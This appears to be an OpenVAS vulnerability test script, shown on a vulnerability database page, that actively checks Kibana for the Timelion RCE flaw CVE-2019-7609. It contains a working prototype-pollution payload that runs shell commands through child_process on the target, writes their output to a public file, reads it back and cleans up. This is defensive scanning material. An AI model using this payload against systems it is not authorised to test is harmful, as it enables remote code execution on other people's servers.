Elastic Kibana < 5.6.15, 6.x.x < 6.6.1 RCE Vulnerability - Active Check
🗓️ 06 Nov 2019 00:00:00Reported by Copyright (C) 2019 Greenbone AGType
openvas🔗 plugins.openvas.org👁 75 Views
10
# SPDX-FileCopyrightText: 2019 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:elastic:kibana";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.143092");
script_version("2025-09-03T14:11:39+0000");
script_tag(name:"last_modification", value:"2025-09-03 14:11:39 +0000 (Wed, 03 Sep 2025)");
script_tag(name:"creation_date", value:"2019-11-06 03:31:33 +0000 (Wed, 06 Nov 2019)");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2020-10-19 18:09:00 +0000 (Mon, 19 Oct 2020)");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_cve_id("CVE-2019-7609");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Elastic Kibana < 5.6.15, 6.x.x < 6.6.1 RCE Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2019 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_elastic_kibana_http_detect.nasl", "os_detection.nasl");
script_mandatory_keys("elastic/kibana/detected");
script_require_ports("Services/www", 5601);
script_tag(name:"summary", value:"Kibana contains an arbitrary code execution flaw in the Timelion
visualizer.");
script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP requests and checks the response.");
script_tag(name:"insight", value:"An attacker with access to the Timelion application could send a
request that will attempt to execute javascript code. This could possibly lead to an attacker
executing arbitrary commands with permissions of the Kibana process on the host system.
On May 07, 2021 the NCSC, CISA, FBI and NSA publish advice on detection and mitigation of SVR
activity following the attribution of the SolarWinds compromise. This VT is covering one or more
vulnerabilities mentioned in that report.");
script_tag(name:"affected", value:"Kibana versions before 5.6.15 and 6.0.0 before 6.6.1.");
script_tag(name:"solution", value:"Update to version 5.6.15, 6.6.1 or later.");
script_xref(name:"URL", value:"https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077");
script_xref(name:"URL", value:"https://github.com/LandGrey/CVE-2019-7609/");
script_xref(name:"URL", value:"https://www.ncsc.gov.uk/news/joint-advisory-further-ttps-associated-with-svr-cyber-actors");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
vt_strings = get_vt_strings();
file = vt_strings["lowercase_rand"] + ".txt";
xsrf_str = vt_strings["default"];
url = dir + "/api/timelion/run";
headers = make_array("Content-Type", "application/json",
"kbn-xsrf", xsrf_str);
cmds = exploit_commands();
foreach cmd (keys(cmds)) {
data = '{"sheet":[".es(*).props(label.__proto__.env.AAAA=\'require(\\"child_process\\").exec(\\"' +
cmds[cmd] + ' > src/ui/public/assets/favicons/' + file +
'\\");process.exit()//\').props(label.__proto__.env.NODE_OPTIONS=\'--require /proc/self/environ\')"]' +
',"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}';
req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
if (res !~ "^HTTP/1\.[01] 200")
continue;
trigger = dir + "/socket.io/?EIO=3&transport=polling&t=MtjhZoM";
req = http_get_req(port: port, url: trigger, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
sleep(5);
check_url = dir + "/ui/favicons/" + file;
req = http_get(port: port, item: check_url);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);
if (egrep(pattern: cmd, string: res)) {
report = 'It was possible to execute the "' + cmds[cmd] + '" command.\n\nResult:\n\n' + res;
security_message(port: port, data: report);
# Cleanup
if (cmd == "ipconfig")
delete = "del";
else
delete = "rm";
data = '{"sheet":[".es(*).props(label.__proto__.env.AAAA=\'require(\\"child_process\\").exec(\\"' +
delete + ' src/ui/public/assets/favicons/' + file +
'\\");process.exit()//\').props(label.__proto__.env.NODE_OPTIONS=\'--require /proc/self/environ\')"]' +
',"time":{"from":"now-15m","to":"now","mode":"quick","interval":"auto"}}';
req = http_post_put_req(port: port, url: url, data: data, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
req = http_get_req(port: port, url: trigger, add_headers: headers);
res = http_keepalive_send_recv(port: port, data: req);
exit(0);
}
}
exit(0);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Sep 2025 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8 - 10
CVSS 210
EPSS0.95338
SSVC